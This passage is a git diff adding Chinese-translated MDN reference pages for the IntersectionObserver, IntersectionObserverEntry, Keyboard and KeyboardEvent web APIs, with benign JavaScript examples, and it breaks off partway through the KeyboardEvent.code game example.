构造器

+ +
+
{{domxref("IntersectionObserver.IntersectionObserver()")}}
+
创建一个新的IntersectionObserver对象,当其监听到目标元素的可见部分穿过了一个或多个阈(thresholds)时,会执行指定的回调函数。
+
+ +

属性

+ +
+
{{domxref("IntersectionObserver.root")}} {{readonlyinline}}
+
所监听对象的具体祖先元素({{domxref("element")}})。如果未传入值或值为null,则默认使用顶级文档的视窗。
+
{{domxref("IntersectionObserver.rootMargin")}} {{readonlyinline}}
+
计算交叉时添加到根(root)边界盒{{Glossary('bounding box')}}的矩形偏移量, 可以有效的缩小或扩大根的判定范围从而满足计算需要。此属性返回的值可能与调用构造函数时指定的值不同,因此可能需要更改该值,以匹配内部要求。所有的偏移量均可用像素(pixel)(px)或百分比(percentage)(%)来表达, 默认值为"0px 0px 0px 0px"。
+
{{domxref("IntersectionObserver.thresholds")}} {{readonlyinline}}
+
一个包含阈值的列表, 按升序排列, 列表中的每个阈值都是监听对象的交叉区域与边界区域的比率。当监听对象的任何阈值被越过时,都会生成一个通知(Notification)。如果构造器未传入值, 则默认值为0。
+
+ +

方法

+ +
+
{{domxref("IntersectionObserver.disconnect()")}}
+
使IntersectionObserver对象停止监听工作。
+
{{domxref("IntersectionObserver.observe()")}}
+
使IntersectionObserver开始监听一个目标元素。
+
{{domxref("IntersectionObserver.takeRecords()")}}
+
返回所有观察目标的{{domxref("IntersectionObserverEntry")}}对象数组。
+
{{domxref("IntersectionObserver.unobserve()")}}
+
使IntersectionObserver停止监听特定目标元素。
+
+

示例

+
+
+ +
var intersectionObserver = new IntersectionObserver(function(entries) {
+  // If intersectionRatio is 0, the target is out of view
+  // and we do not need to do anything.
+  if (entries[0].intersectionRatio <= 0) return;
+
+  loadItems(10);
+  console.log('Loaded new items');
+});
+// start observing
+intersectionObserver.observe(document.querySelector('.scrollerFooter'));
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("IntersectionObserver", "#intersection-observer-interface", "IntersectionObserver")}}{{Spec2('IntersectionObserver')}} 
+ +

浏览器兼容

+ + + +

{{Compat("api.IntersectionObserver")}}

+ +

参考

+ + + +

 

diff --git a/files/zh-cn/web/api/intersectionobserver/intersectionobserver/index.html b/files/zh-cn/web/api/intersectionobserver/intersectionobserver/index.html new file mode 100644 index 0000000000..5b82d15297 --- /dev/null +++ b/files/zh-cn/web/api/intersectionobserver/intersectionobserver/index.html @@ -0,0 +1,73 @@ +--- +title: IntersectionObserver.IntersectionObserver() +slug: Web/API/IntersectionObserver/IntersectionObserver +translation_of: Web/API/IntersectionObserver/IntersectionObserver +--- +
{{APIRef("Intersection Observer API")}}
+ +

IntersectionObserver()构造器创建并返回一个{{domxref("IntersectionObserver")}}对象。 如果指定rootMargin则会检查其是否符合语法规定,检查阈值以确保全部在0.0到1.0之间,并且阈值列表会按升序排列。如果阈值列表为空,则默认为一个[0.0]的数组。

+ +

语法

+ +
var observer = new IntersectionObserver(callback[, options]);
+ +

参数

+ +
+
callback
+
当元素可见比例超过指定阈值后,会调用一个回调函数,此回调函数接受两个参数: +
+
entries
+
一个{{domxref("IntersectionObserverEntry")}}对象的数组,每个被触发的阈值,都或多或少与指定阈值有偏差。
+
observer
+
被调用的{{domxref("IntersectionObserver")}}实例。
+
+
+
options {{optional_inline}}
+
一个可以用来配置observer实例的对象。如果options未指定,observer实例默认使用文档视口作为root,并且没有margin,阈值为0%(意味着即使一像素的改变都会触发回调函数)。你可以指定以下配置: +
+
root
+
监听元素的祖先元素{{domxref("Element")}}对象,其边界盒将被视作视口。目标在根的可见区域的的任何不可见部分都会被视为不可见。
+
rootMargin
+
一个在计算交叉值时添加至根的边界盒({{Glossary('bounding_box')}})中的一组偏移量,类型为字符串(string) ,可以有效的缩小或扩大根的判定范围从而满足计算需要。语法大致和CSS 中的{{cssxref("margin")}} 属性等同; 可以参考 {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "The root element and root margin")}}来深入了解margin的工作原理及其语法。默认值是"0px 0px 0px 0px"。
+
threshold
+
规定了一个监听目标与边界盒交叉区域的比例值,可以是一个具体的数值或是一组0.0到1.0之间的数组。若指定值为0.0,则意味着监听元素即使与根有1像素交叉,此元素也会被视为可见. 若指定值为1.0,则意味着整个元素都是可见的(此段英文原文直译,正确性有待验证) 。可以参考{{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "Thresholds")}} 来深入了解阈值是如何使用的。阈值的默认值为0.0。
+
+
+
+ +

返回值

+ +

一个可以使用规定阈值监听目标元素可见部分与root交叉状况的新的{{domxref("IntersectionObserver")}} 实例。调用自身的{{domxref("IntersectionObserver.observe", "observe()")}} 方法开始使用规定的阈值监听指定目标。

+ +

异常

+ +
+
SyntaxError
+
指定的rootMargin不存在。
+
RangeError
+
一个或多个阈值超出了0.0到1.0的范围。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态Comment
{{SpecName('IntersectionObserver','#dom-intersectionobserver-intersectionobserver','IntersectionObserver constructor')}}{{Spec2('IntersectionObserver')}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.IntersectionObserver.IntersectionObserver")}}

diff --git a/files/zh-cn/web/api/intersectionobserver/observe/index.html b/files/zh-cn/web/api/intersectionobserver/observe/index.html new file mode 100644 index 0000000000..fd9f581586 --- /dev/null +++ b/files/zh-cn/web/api/intersectionobserver/observe/index.html @@ -0,0 +1,64 @@ +--- +title: IntersectionObserver.observe() +slug: Web/API/IntersectionObserver/observe +translation_of: Web/API/IntersectionObserver/observe +--- +
{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}
+ +

{{domxref("IntersectionObserver")}} 对象的observe() 方法向IntersectionObserver对象监听的目标集合添加一个元素。一个监听者有一组阈值和一个根, 但是可以监视多个目标元素,以查看这些目标元素可见区域的变化。调用{{domxref("IntersectionObserver.unobserve()")}}方法可以停止观察元素。

+ +

当指定元素的可见区域超过监听者的可见区域阈值之一时(阈值列表{{domxref("IntersectionObserver.thresholds")}}),监听者的回调会被传入代表当前发生的交叉变化{{domxref("IntersectionObserverEntry")}}并执行。请注意,这种设计允许通过调用一次回调,给回调传入IntersectionObserverEntry对象数组,来实现同时处理多个被监听元素的交叉变化。

+ +

语法

+ +
IntersectionObserver.observe(targetElement);
+ +

参数

+ +
+
targetElement
+
可见性区域被监控的元素{{domxref("element")}}。
+ 此元素必须是根元素的后代 (如果根元素为视窗,则该元素必须被当前文档包含)。
+
+ +

返回值

+ +

undefined.

+ +
+
+ +

Examples

+ +

<<<...>>>

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver','#dom-intersectionobserver-observe','IntersectionObserver.observe()')}}{{Spec2('IntersectionObserver')}}Initial definition.
+ +
+

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver.observe")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/intersectionobserver/root/index.html b/files/zh-cn/web/api/intersectionobserver/root/index.html new file mode 100644 index 0000000000..33804dad62 --- /dev/null +++ b/files/zh-cn/web/api/intersectionobserver/root/index.html @@ -0,0 +1,90 @@ +--- +title: IntersectionObserver.root +slug: Web/API/IntersectionObserver/root +translation_of: Web/API/IntersectionObserver/root +--- +

root 属性用来获取当前 intersectionObserver 实例的根元素。

+ +

语法

+ +
intersectionObserver.root;
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver', '#dom-intersectionobserver-root', 'IntersectionObserver')}}{{Spec2('IntersectionObserver')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatNo}}[1]{{CompatNo}}[2]{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatNo}}[2]{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(51.0)}}
+
+ +

[1]  实现于 Windows Insider Preview Build 14986

+ +

[2] 实现于 {{geckoRelease("53.0")}},但默认处于关闭状态,需要打开dom.IntersectionObserver.enabled。

diff --git a/files/zh-cn/web/api/intersectionobserver/rootmargin/index.html b/files/zh-cn/web/api/intersectionobserver/rootmargin/index.html new file mode 100644 index 0000000000..dc5c913927 --- /dev/null +++ b/files/zh-cn/web/api/intersectionobserver/rootmargin/index.html @@ -0,0 +1,48 @@ +--- +title: IntersectionObserver.rootMargin +slug: Web/API/IntersectionObserver/rootMargin +translation_of: Web/API/IntersectionObserver/rootMargin +--- +
{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}
+ +

{{domxref("IntersectionObserver")}} 接口的只读属性rootMargin是与CSS属性{{cssxref("margin")}}语法相似的字符串(string)对象. 在交叉检测开始之前,由rootMargin规定的矩形的每一边都会被添加至{{domxref("IntersectionObserver.root", "root")}}元素的边框盒({{Glossary("bounding box")}})的相应边。例如,这可以让你向外调整边界,使得目标元素被认为是100%可见的,即使此元素得一部分长或宽被裁剪,或者在边缘过于靠近根边框盒边界的情况下,将目标视为部分隐藏。

+ +

可参考{{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "The root element and root margin")}}来深入了解root margin的工作原理或如何使其与根的边框盒进行协同工作。

+ +

语法

+ +
var marginString = IntersectionObserver.rootMargin;
+
+ +

+ +

一个字符串, 形式与CSS {{cssxref("margin")}}属性相似,包含了一条或一组根边框盒边的偏移量。这些偏移量会被添加至根边界盒与目标元素边界的交叉区域之前。

+ +

这个属性返回的字符串也许会与{{domxref("IntersectionObserver")}}被配置时所指定的值有所差别。浏览器可以改变这些值。

+ +

如果rootMargin在对象初始化的时候未被指定,它将被设置成默认值"0px 0px 0px 0px",这将意味着在原根节点边界框与目标边界之间计算交叉值。  {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "The root element and root margin")}} 描述了rootMargin的更加深入的使用方法。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('IntersectionObserver', '#dom-intersectionobserver-rootMargin', 'IntersectionObserver.rootMargin')}}{{Spec2('IntersectionObserver')}}Initial definition
+ +
+

浏览器兼容

+ + + +

{{Compat("api.IntersectionObserver.rootMargin")}}

+
diff --git a/files/zh-cn/web/api/intersectionobserver/takerecords/index.html b/files/zh-cn/web/api/intersectionobserver/takerecords/index.html new file mode 100644 index 0000000000..b320df51f6 --- /dev/null +++ b/files/zh-cn/web/api/intersectionobserver/takerecords/index.html @@ -0,0 +1,60 @@ +--- +title: IntersectionObserver.takeRecords() +slug: Web/API/IntersectionObserver/takeRecords +translation_of: Web/API/IntersectionObserver/takeRecords +--- +
{{APIRef("Intersection Observer API")}}
+ +

{{domxref("IntersectionObserver")}} 的方法takeRecords() 返回一个 {{domxref("IntersectionObserverEntry")}} 对象数组, 每个对象的目标元素都包含每次相交的信息, 可以显式通过调用此方法或隐式地通过观察者的回调自动调用.

+ +
+

Note: 如果使用回调来监视这些更改,则无需调用此方法。调用此方法会清除挂起的相交状态列表,因此不会运行回调。

+
+ +

语法

+ +
intersectionObserverEntries = intersectionObserver.takeRecords();
+ +

参数

+ +

None.

+ +

返回值

+ +

 {{domxref("IntersectionObserverEntry")}} 对象数组, 每个对象包含目标元素与根每次的相交信息。

+ +
+
+ +

Examples

+ +

<<<...>>>

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver','#dom-intersectionobserver-takeRecords','IntersectionObserver.takeRecords()')}}{{Spec2('IntersectionObserver')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver.takeRecords")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/intersectionobserver/thresholds/index.html b/files/zh-cn/web/api/intersectionobserver/thresholds/index.html new file mode 100644 index 0000000000..22fa1f96d8 --- /dev/null +++ b/files/zh-cn/web/api/intersectionobserver/thresholds/index.html @@ -0,0 +1,52 @@ +--- +title: IntersectionObserver.thresholds +slug: Web/API/IntersectionObserver/thresholds +translation_of: Web/API/IntersectionObserver/thresholds +--- +
{{APIRef("Intersection Observer API")}}{{draft}}{{SeeCompatTable}}
+ +

The {{domxref("IntersectionObserver")}} interface's read-only thresholds property returns the list of intersection thresholds that was specified when the observer was instantiated with {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}}. If only one threshold ratio was provided when instanitating the object, this will be an array containing that single value.

+ +

See {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "Thresholds")}} to learn how thresholds work.

+ +

Syntax

+ +
var thresholds = IntersectionObserver.thresholds;
+
+ +

Value

+ +

An array of intersection thresholds, originally specified using the threshold property when instantiating the observer. If only one observer was specified, without being in an array, this value is a one-entry array containing that threshold. Regardless of the order your original threshold array was in, this one is always sorted in numerically increasing order.

+ +

If no threshold option was included when IntersectionObserver() was used to instantiate the observer, the value of thresholds is simply [0].

+ +
+

Be careful! Although the options object you can specify when creating an {{domxref("IntersectionObserver")}} has a field named {{domxref("IntersectionObserver.threshold", "threshold")}}, this property is called thresholds. Confusing? Yes. If you accidentally use thresholds as the name of the field in your options, the thresholds array will wind up being simply [0.0], which is likely not what you expect. Debugging chaos may ensue.

+
+ +

Examples

+ +

<<<...>>>

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver', '#dom-intersectionobserver-thresholds', 'IntersectionObserver.thresholds')}}{{Spec2('IntersectionObserver')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver.thresholds")}}

diff --git a/files/zh-cn/web/api/intersectionobserver/unobserve/index.html b/files/zh-cn/web/api/intersectionobserver/unobserve/index.html new file mode 100644 index 0000000000..ba62faf1cd --- /dev/null +++ b/files/zh-cn/web/api/intersectionobserver/unobserve/index.html @@ -0,0 +1,69 @@ +--- +title: IntersectionObserver.unobserve() +slug: Web/API/IntersectionObserver/unobserve +tags: + - API + - Intersection + - unobserve +translation_of: Web/API/IntersectionObserver/unobserve +--- +
unobserve()方法命令IntersectionObserver停止对一个元素的观察。
+ +

语法

+ +
IntersectionObserver.unobserve(target);
+ +

参数

+ +
+
target
+
要取消观察的目标,如果没有提供,方法不做任何事情,也不会抛出异常。
+
+ +

返回值

+ +

undefined.

+ +
+
+ +

例子

+ +

下面代码段展示了一个观察器被创建,一个元素被观察,以及取消观察的过程。

+ +
var observer = new IntersectionObserver(callback);
+observer.observe(document.getElementById("elementToObserve"));
+
+/* ... */
+
+observer.unobserve(document.getElementById("elementToObserve"));
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver','#dom-intersectionobserver-unobserve','IntersectionObserver.unobserve()')}}{{Spec2('IntersectionObserver')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.IntersectionObserver.unobserve")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/intersectionobserverentry/index.html b/files/zh-cn/web/api/intersectionobserverentry/index.html new file mode 100644 index 0000000000..cc91c36145 --- /dev/null +++ b/files/zh-cn/web/api/intersectionobserverentry/index.html @@ -0,0 +1,54 @@ +--- +title: IntersectionObserverEntry +slug: Web/API/IntersectionObserverEntry +translation_of: Web/API/IntersectionObserverEntry +--- +
{{SeeCompatTable}}{{APIRef("Intersection Observer API")}}
+ +

 IntersectionObserverEntry接口 (从属于 Intersection Observer API )描述了目标元素与其根元素容器在某一特定过渡时刻的交叉状态.  IntersectionObserverEntry 的实例作为 entries 参数被传递到一个 {{domxref("IntersectionObserver")}} 的回调函数中; 此外, 这些对象只能通过调用{{domxref("IntersectionObserver.takeRecords()")}} 来获取.

+ +

属性

+ +
+
{{domxref("IntersectionObserverEntry.boundingClientRect")}} {{readonlyinline}}
+
返回包含目标元素的边界信息的{{domxref("DOMRectReadOnly")}}. 边界的计算方式与  {{domxref("Element.getBoundingClientRect()")}} 相同.
+
{{domxref("IntersectionObserverEntry.intersectionRatio")}} {{readonlyinline}}
+
返回intersectionRect 与 boundingClientRect 的比例值.
+
{{domxref("IntersectionObserverEntry.intersectionRect")}} {{readonlyinline}}
+
返回一个 {{domxref("DOMRectReadOnly")}} 用来描述根和目标元素的相交区域.
+
{{domxref("IntersectionObserverEntry.isIntersecting")}} {{ReadOnlyInline}}
+
返回一个布尔值, 如果目标元素与交叉区域观察者对象(intersection observer) 的根相交,则返回 true .如果返回 true, 则 IntersectionObserverEntry 描述了变换到交叉时的状态; 如果返回 false, 那么可以由此判断,变换是从交叉状态到非交叉状态.
+
{{domxref("IntersectionObserverEntry.rootBounds")}} {{readonlyinline}}
+
返回一个 {{domxref("DOMRectReadOnly")}} 用来描述交叉区域观察者(intersection observer)中的根.
+
{{domxref("IntersectionObserverEntry.target")}} {{ReadOnlyInline}}
+
与根出现相交区域改变的元素 ({{domxref("Element")}}).
+
{{domxref("IntersectionObserverEntry.time")}} {{readonlyinline}}
+
返回一个记录从 IntersectionObserver 的时间原点(time origin)到交叉被触发的时间的时间戳({{domxref("DOMHighResTimeStamp")}}).
+
+ +

方法

+ +

此接口没有方法.

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('IntersectionObserver','#intersection-observer-entry','IntersectionObserverEntry')}}{{Spec2('IntersectionObserver')}}Initial definition
+ +

浏览器兼容

+ + + +

{{Compat("api.IntersectionObserverEntry")}}

diff --git a/files/zh-cn/web/api/keyboard/index.html b/files/zh-cn/web/api/keyboard/index.html new file mode 100644 index 0000000000..eb6ab10aa2 --- /dev/null +++ b/files/zh-cn/web/api/keyboard/index.html @@ -0,0 +1,68 @@ +--- +title: Keyboard +slug: Web/API/Keyboard +translation_of: Web/API/Keyboard +--- +
{{SeeCompatTable}}{{APIRef("Keyboard API")}}
+ +

The Keyboard interface of the the Keyboard API provides functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.

+ +

A list of valid code values is found in the UI Events KeyboardEvent code Values spec.

+ +

Properties

+ +

None.

+ +

Methods

+ +
+
{{domxref('Keyboard.getLayoutMap()')}} {{experimental_inline}}
+
Returns a {{jsxref('Promise')}} that resolves with an instance of {{domxref('KeyboardLayoutMap')}} which is a map-like object with functions for retrieving the strings associated with specific physical keys.
+
{{domxref('Keyboard.lock()')}} {{experimental_inline}}
+
Returns a {{jsxref('Promise')}} after enabling the capture of keypresses for any or all of the keys on the physical keyboard.
+
{{domxref('Keyboard.unlock()')}} {{experimental_inline}}
+
Unlocks all keys captured by the lock() method and returns synchronously.
+
+ +

Example

+ +

The following example demonstrates how to get the location- or layout-specific string associated with the key that corresponds to the 'W' key on an English QWERTY keyboard.

+ +
if (navigator.keyboard) {
+  var keyboard = navigator.keyboard;
+  keyboard.getLayoutMap()
+  .then(keyboardLayoutMap => {
+    var upKey = keyboardLayoutMap.get('KeyW');
+    window.alert('Press ' + upKey + ' to move up.');
+  });
+} else {
+  // Do something else.
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Keyboard Map','#keyboard-interface','Keyboard')}}{{Spec2('Keyboard Map')}}Initial definition.
{{SpecName('Keyboard Lock','#keyboard-interface','Keyboard')}}{{Spec2('Keyboard Lock')}}Adds lock() and unlock().
+ +

Browser compatibility

+ + + +

{{Compat("api.Keyboard")}}

diff --git a/files/zh-cn/web/api/keyboardevent/altkey/index.html b/files/zh-cn/web/api/keyboardevent/altkey/index.html new file mode 100644 index 0000000000..0987f3ea89 --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/altkey/index.html @@ -0,0 +1,126 @@ +--- +title: KeyboardEvent.altKey +slug: Web/API/KeyboardEvent/altKey +tags: + - API + - DOM + - KeyboardEvent + - events + - 鼠标事件 +translation_of: Web/API/KeyboardEvent/altKey +--- +

{{APIRef("DOM Events")}}

+ +

KeyboardEvent.altKey 只读属性返回一个 {{jsxref("Boolean")}} 值,表示事件触发时 alt 键 (OS X系统上的 Option 或  键) 是 (true) 否 (false) 被按下。

+ +

语法

+ +
var altKeyPressed = instanceOfKeyboardEvent.altKey
+
+ +

返回值

+ +

布尔值

+ +

示例

+ +
<html>
+<head>
+<title>altKey example</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "ALT key pressed: " + e.altKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>
+Press any character key,
+with or without holding down the ALT key.<br />
+You can also use the SHIFT key together with the ALT key.
+</p>
+</body>
+</html>
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-KeyboardEvent-altKey','KeyboardEvent.altkey')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
特性 + + + + + + + + + + + + + + + + + + + + +
EdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
特性 + + + + + + + + + + + + + + + + + + + + +
EdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/keyboardevent/charcode/index.html b/files/zh-cn/web/api/keyboardevent/charcode/index.html new file mode 100644 index 0000000000..fe6523a655 --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/charcode/index.html @@ -0,0 +1,144 @@ +--- +title: KeyboardEvent.charCode +slug: Web/API/KeyboardEvent/charCode +tags: + - API + - DOM + - Deprecated + - KeyboardEvent + - events + - 键盘事件 +translation_of: Web/API/KeyboardEvent/charCode +--- +

{{ ApiRef("DOM Events") }}{{non-standard_header}}{{deprecated_header}}

+ +

{{domxref("KeyboardEvent.charCode")}} 只读属性,返回 {{ domxref("element.onkeypress", "keypress") }} 事件触发时按下的字符键的字符Unicode值。

+ +

与这些数值代码等价的常量,请参考 {{ domxref("KeyboardEvent", "KeyEvent") }}.

+ +
+

该属性已被废弃,请勿再使用该属性。

+ +

请使用 {{domxref("KeyboardEvent.key")}} 取代。

+
+ +

语法

+ +
var value = event.charCode;
+
+ + + +

示例

+ +
<html>
+<head>
+<title>charCode example</title>
+
+<script type="text/javascript">
+
+function showChar(e)
+{
+alert("Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+      + "charCode: " + e.charCode);
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>Press any 'character' type key.</p>
+</body>
+</html>
+
+ +

注意

+ +

在{{ domxref("element.onkeypress", "keypress") }} 事件中, 按键的Unicode值保存在 {{ domxref("event.keyCode", "keyCode") }} 或 {{ domxref("event.charCode", "charCode") }} 属性其中之一, 不会二者同时都有。如果按下的是字符键 (例如 'a'), charCode 被设置为字符的代码值, 并区分大小写。(即 charCode 会考虑 Shift 键是否被按下)。 否则,被按下的键的代码被存储在 keyCode 中。

+ +

如果有一个或多个修饰键被按下,有一些复杂的规则来产生 charCode 的值,细节可参考  Gecko Keypress 事件 。

+ +

charCode 用于不会在 {{ domxref("element.onkeydown", "keydown") }} 和 {{ domxref("element.onkeyup", "keyup") }} 事件中被设置。这两种情况下,keyCode 会被设置。

+ +

要获取按键代码而不考虑是 keyCode 还是charCode, 请使用 {{ domxref("event.which", "which") }} 属性。

+ +

通过输入法输入的字符,不会被设置到注册到通过 keyCode 和 charCodeActually with the Chinese IME I'm using, entering the IME results in a keypress event with keyCode = 229 and no other key events fire until the IME exits (which may happen after multiple characters are inputted). I'm not sure if other IME's work this way.

+ +

要查看特定按键的 charCode 值的列表,运行这个示例页面 Gecko DOM Reference:Examples #Example 7: Displaying Event Object Constants ,然后查看HTML 表格结果。

+ +

标准

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-KeyboardEvent-charCode','KeyboardEvent.charCode')}}{{Spec2('DOM3 Events')}}Initial definition; specified as deprecated
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持26 (probably earlier){{CompatVersionUnknown}}3912.15.1 (probably earlier)
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}5.1 (probably earlier)
+
diff --git a/files/zh-cn/web/api/keyboardevent/code/index.html b/files/zh-cn/web/api/keyboardevent/code/index.html new file mode 100644 index 0000000000..f62c65ff00 --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/code/index.html @@ -0,0 +1,3816 @@ +--- +title: KeyboardEvent.code +slug: Web/API/KeyboardEvent/code +translation_of: Web/API/KeyboardEvent/code +--- +
{{APIRef("DOM Events")}}
+ +

KeyboardEvent.code属性表示键盘上的物理键(与按键生成的字符相对)。换句话说,此属性返回一个值,该值不会被键盘布局或修饰键的状态改变。

+ +

如果输入设备不是物理键盘,而是虚拟键盘或辅助功能设备,则浏览器将设置返回值,以尽可能地匹配物理键盘所发生的情况,从而最大限度地提高物理和虚拟输入设备之间的兼容性。

+ +

当您想要根据输入设备上的物理位置处理键而不是与这些键相关联的字符时,此属性非常有用;这在编写代码来处理游戏输入时尤为常见,这些游戏使用键盘上的键来模拟类似游戏板的环境。但请注意,您无法使用 KeyboardEvent.code报告的值来确定击键生成的字符,因为键码的名称可能与按键上打印的实际字符或按下键时计算机生成的字符不匹配。

+ +

例如,QWERTY布局键盘上的“q”键返回的code是“KeyQ”,但Dvorak键盘上的“'”键和AZERTY键盘上的“a”键也返回的相同code值。这使得如果用户没有使用预期的键盘布局,则无法使用code值来确定用户按键的名称。

+ +
+

要确定哪个字符与键事件对应,请改用{{domxref("KeyboardEvent.key")}}属性。

+
+ + +

示例

+ +

练习 KeyboardEvent

+ +

HTML

+ +
<p>Press keys on the keyboard to see what the KeyboardEvent's key and code
+   values are for each one.</p>
+<div id="output">
+</div>
+
+ +

CSS

+ +
#output {
+  font-family: Arial, Helvetica, sans-serif;
+  border: 1px solid black;
+}
+ +

JavaScript

+ +
window.addEventListener("keydown", function(event) {
+  let str = "KeyboardEvent: key='" + event.key + "' | code='" +
+            event.code + "'";
+  let el = document.createElement("span");
+  el.innerHTML = str + "<br/>";
+
+  document.getElementById("output").appendChild(el);
+}, true);
+ +

Try it out

+ +

To ensure that keystrokes go to the sample, click in the output box below before pressing keys.

+ +

{{ EmbedLiveSample('Exercising_KeyboardEvent', 600, 300) }}

+ +

Handle keyboard events in a game

+ +

This example establishes an event listener for {{event("keydown")}} events which handles keyboard input for a game which uses the typical "WASD" keyboard layout for steering forward, left, backward, and right. This will use the same four keys physically regardless of what the actual corresponding characters are, such as if the user is using an AZERTY keyboard.

+ +

HTML

+ +
<p>Use the WASD (ZQSD on AZERTY) keys to move and steer.</p>
+<svg xmlns="http://www.w3.org/2000/svg" version="1.1" class="world">
+  <polygon id="spaceship" points="15,0 0,30 30,30"/>
+</svg>
+<script>refresh();</script>
+
+ +

CSS

+ +
.world {
+  margin: 0px;
+  padding: 0px;
+  background-color: black;
+  width: 400px;
+  height: 400px;
+}
+
+#spaceship {
+  fill: orange;
+  stroke: red;
+  stroke-width: 2px;
+}
+ +

JavaScript

+ +

The first section of the JavaScript code establishes some variables we'll be using. shipSize contains the size of the ship the player is moving around, for convenience. position is used to track the position of the ship within the play field. moveRate and turnRate are the number of pixels forward and backward each keystroke moves the ship and how many degrees of rotation the left and right steering controls apply per keystroke. angle is the current amount of rotation applied to the ship, in degrees; it starts at 0° (pointing straight up). Finally, spaceship is set to refer to the element with the ID "spaceship", which is the SVG polygon representing the ship the player controls.

+ +
let shipSize = {
+  width: 30,
+  height: 30
+};
+
+let position = {
+  x: 200,
+  y: 200
+};
+
+let moveRate = 9;
+let turnRate = 5;
+
+let angle = 0;
+
+let spaceship = document.getElementById("spaceship");
+
+ +

Next comes the function updatePosition(). This function takes as input the distance the ship is to be moved, where positive is a forward movement and negative is a backward movement. This function computes the new position of the ship given the distance moved and the current direction the ship is facing. It also handles ensuring that the ship wraps across the boundaries of the play field instead of vanishing.

+ +
function updatePosition(offset) {
+  let rad = angle * (Math.PI/180);
+  position.x += (Math.sin(rad) * offset);
+  position.y -= (Math.cos(rad) * offset);
+
+  if (position.x < 0) {
+    position.x = 399;
+  } else if (position.x > 399) {
+    position.x = 0;
+  }
+
+  if (position.y < 0) {
+    position.y = 399;
+  } else if (position.y > 399) {
+    position.y = 0;
+  }
+}
+
+ +

The refresh() function handles applying the rotation and position by using an SVG transform.

+ +
function refresh() {
+  let x = position.x - (shipSize.width/2);
+  let y = position.y - (shipSize.height/2);
+  let transform = "translate(" + x + " " + y + ") rotate(" + angle + " 15 15) ";
+
+  spaceship.setAttribute("transform", transform);
+}
+
+ +

Finally, the addEventListener() method is used to start listening for {{event("keydown")}} events, acting on each key by updating the ship position and rotation angle, then calling refresh() to draw the ship at its new position and angle.

+ +
